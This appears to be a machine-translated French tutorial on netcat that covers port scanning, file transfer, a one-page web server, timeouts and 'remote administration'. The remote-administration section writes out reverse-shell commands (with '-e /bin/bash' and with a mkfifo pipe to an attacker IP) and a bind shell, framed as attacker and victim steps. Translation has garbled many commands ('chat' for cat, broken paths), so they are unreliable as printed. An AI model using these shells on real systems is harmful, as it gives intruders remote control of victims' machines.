Netcat - Swiss Army Knife Pro Utilisation

Netcat - Swiss Army Knife Pro Utilisation
NetCAT est un utilitaire qui est utilisé pour la lecture et l'écriture de données sur les ports TCP et UDP. Il peut être utilisé pour beaucoup de trucs sympas comme le transfert de fichiers, la numérisation du port, la redirection de port, la décompétence du PC de quelqu'un d'autre, la création d'un programme de chat simple, pour le dépannage du réseau et plus encore, c'est pourquoi il est connu sous le nom de couteau Swiss Army. Il est également préinstallé avec presque toutes les distributions Linux de nos jours et il est principalement utilisé par les administrateurs de réseau, les DevOps et les ingénieurs de sécurité pour leurs petites tâches quotidiennes.

Une brève différence entre Netcat-Traditional et Netcat-OpenBSDD

Il existe deux packages similaires disponibles pour Netcat avec une légère différence entre eux.

netcat traditionnel Comprend une option «-e» supplémentaire qui peut être utilisée pour lier un programme (i.e bash) avec netcat. Cette fonctionnalité est très utile à des fins d'administration à distance.

netcat-openbsd Avoir une prise en charge supplémentaire pour IPv6 et proxies.

Installation de Netcat

Bien que NetCAT soit préinstallé dans la plupart des distributions Linux, mais si ce n'est pas le cas, il peut être installé facilement en utilisant les commandes suivantes.

Pour le package traditionnel,

ubuntu @ ubuntu: ~ $ sudo apt-get install netcat-traditional

Pour la version OpenBSD,

ubuntu @ ubuntu: ~ $ sudo apt-get install netcat-openbsd

Netcat pour Windows peut être téléchargé à partir d'ici https: // sourceforge.net / projets / nc110 / fichiers /.

Nous allons maintenant explorer quelques cas d'utilisation intéressants de Netcat

Analyse de port à l'aide de netcat

Pour rechercher des ports ouverts, utilisez l'option «-z». NetCAT essaiera de se connecter à chaque port sans envoyer de données ou de données très limitées dans le cas UDP. Tapez les éléments suivants

ubuntu @ ubuntu: ~ $ nc -z -v hackme.org 80
… Snip…
hackme.org [217.78.1.155] 80 (http) Open

Pour rechercher une gamme de ports, tapez

ubuntu @ ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Inconnu) [192.168.100.72] 80 (http) Open
(Inconnu) [192.168.100.72] 22 (SSH) Open

Transfert de fichiers avec netcat

Un autre cas d'utilisation utile de NetCAT est le transfert de fichiers entre les ordinateurs distants. Vous pouvez envoyer des SMS et des fichiers binaires d'un PC vers un autre PC. Nous essaierons d'envoyer un fichier «fichier.PDF »du PC Linux vers le PC Windows [IP 192.168.100.72] Utilisation de Netcat comme exemple.

Sur Windows Machine (récepteur), saisissez ce qui suit

C: \ Users> NC -NVLP 1337> Fichier.pdf
Écouter sur [0.0.0.0] (Famille 2, port 1337)

Sur Linux Machine (expéditeur), saisissez ce qui suit

ubuntu @ ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Connexion à 192.168.100.72 1337 Port [TCP / *] a réussi!

Administration à distance avec Netcat

L'un des meilleurs cas d'utilisation de NetCAT est l'administration à distance, ce qui signifie que vous pouvez contrôler le PC de quelqu'un d'autre à l'aide de NetCAT. NetCat-Traditional est livré avec l'option «-e» qui peut être utilisée pour lier un programme (I.E CMD.EXE dans Windows ou Bash en Linux) avec un port, cela signifie que Netcat agira en tant que communicateur entre le programme et le PC distant. NetCat recevra des commandes de PC distant, exécutera sur le système local et renverra les résultats au PC distant. Cette fonctionnalité est largement utilisée à des fins malveillantes, pour conserver les portes dérobées dans les PC et les serveurs. Cette fonctionnalité n'est disponible que dans NetCat-traditionnel mais avec un petit astuce, Netcat-openBSD peut également être utilisé dans le même but. Vous pouvez utiliser deux façons pour contrôler le PC des autres.

Dans un Coquille inversée Connexion, un attaquant écoute sur un port et attend qu'une connexion soit envoyée à partir de la machine victime. Il est utilisé lorsque l'ordinateur de victime est derrière NAT ou n'a pas de propriété intellectuelle publique.

Pour obtenir un shell inversé en utilisant Netcat, vous devez écouter sur un port à l'aide de NetCAT. Tapez ce qui suit sur la machine de l'attaquant,

ubuntu @ ubuntu: ~ $ nc -nvlp 1337
Écouter sur [0.0.0.0] (Famille 2, port 1337)

Sur la machine victime (si netcat traditionnel est installé)

// remplacer «/ bin / bash» par «cmd.exe ”en cas de fenêtres

ubuntu @ ubuntu: ~ $ nc -nv [ip_addr] 1337 -e / bin / bash

Pour netcat-openbsd (où l'option «-e» n'est pas prise en charge)

ubuntu @ ubuntu: ~ $ rm / tmp / f; mkfifo / tmp / f; chat
/ tmp / f | / bin / sh -i 2> & 1 | nc [ip_addr] 1337> / tmp / f

Tandis que dans un Coquille de liaison Connexion, l'attaquant lie un port sur la machine victime et se connecte à ce port à l'aide de la prise client. Il est utilisé lorsque la machine de l'attaquant est derrière NAT ou n'a pas de propriété intellectuelle publique.

Sur la machine victime, Type

ubuntu @ ubuntu: ~ $ nc -nlvp 1337 -e / bin / bash
Écouter sur [n'importe quel] 1337…

Maintenant, pour exécuter des commandes sur la machine victime, tapez

ubuntu @ ubuntu: ~ $ nc -nv 127.0.0.1 1337
Connexion à 127.0.0.1 1337 Port [TCP / *] a réussi!
$ id
UID = 1000 (Azad) GID = 1000 (Azad) Groupes = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (DIP), 46 (Plugdev), 118 (lpadmin), 129 (sambashare)

Serveur Web simple utilisant NetCAT

Vous pouvez également faire une autre astuce simple pour utiliser NetCat comme serveur Web minimal à page unique. Ce serveur Web serait très simple sans configurations spéciales, et nous allons l'utiliser envoyer notre code HTML au navigateur.

ubuntu @ ubuntu: ~ $ while true; faire echo -e "http / 1.1 200 ok \ n \ n $ (echo "


Mon serveur Web simple utilisant Netcat

")" | NC -NVLP 1337; fait
Écouter sur [0.0.0.0] (Famille 2, port 1337)

Maintenant, essayez de récupérer la page Web à l'aide de Curl

ubuntu @ ubuntu: ~ $ curl http: // 127.0.0.1: 1337 /

Mon serveur Web simple utilisant Netcat

Spécifiez le délai d'attente pour une session NetCAT

Vous pouvez spécifier le délai d'attente pour une session NetCAT en utilisant l'option «-w». Netcat déconnectera automatiquement sa session après que l'heure spécifiée s'évanouit.

// -w [temps en secondes]
ubuntu @ ubuntu: ~ $ nc -w 40 -Nvlp 1337
Écouter sur [0.0.0.0] (Famille 2, port 1234)

Continuez à écouter même si le client ferme la connexion

En mode normal, le serveur NetCat s'arrête et arrête d'écouter sur le port lorsqu'un client ferme la connexion. Vous pouvez garder le serveur à utiliser l'option «-K»

ubuntu @ ubuntu: ~ $ nc -k -nlvp 1234
Écouter sur [0.0.0.0] (Famille 2, port 1234)

Conclusion

Netcat est une utilité simple mais efficace qui peut être utilisée pour de nombreuses tâches quotidiennes simples. Il est préinstallé dans presque tous les systèmes d'exploitation comme UNIX et peut être utilisé pour diverses tâches comme la communication entre deux PC, le transfert de fichiers et bien d'autres.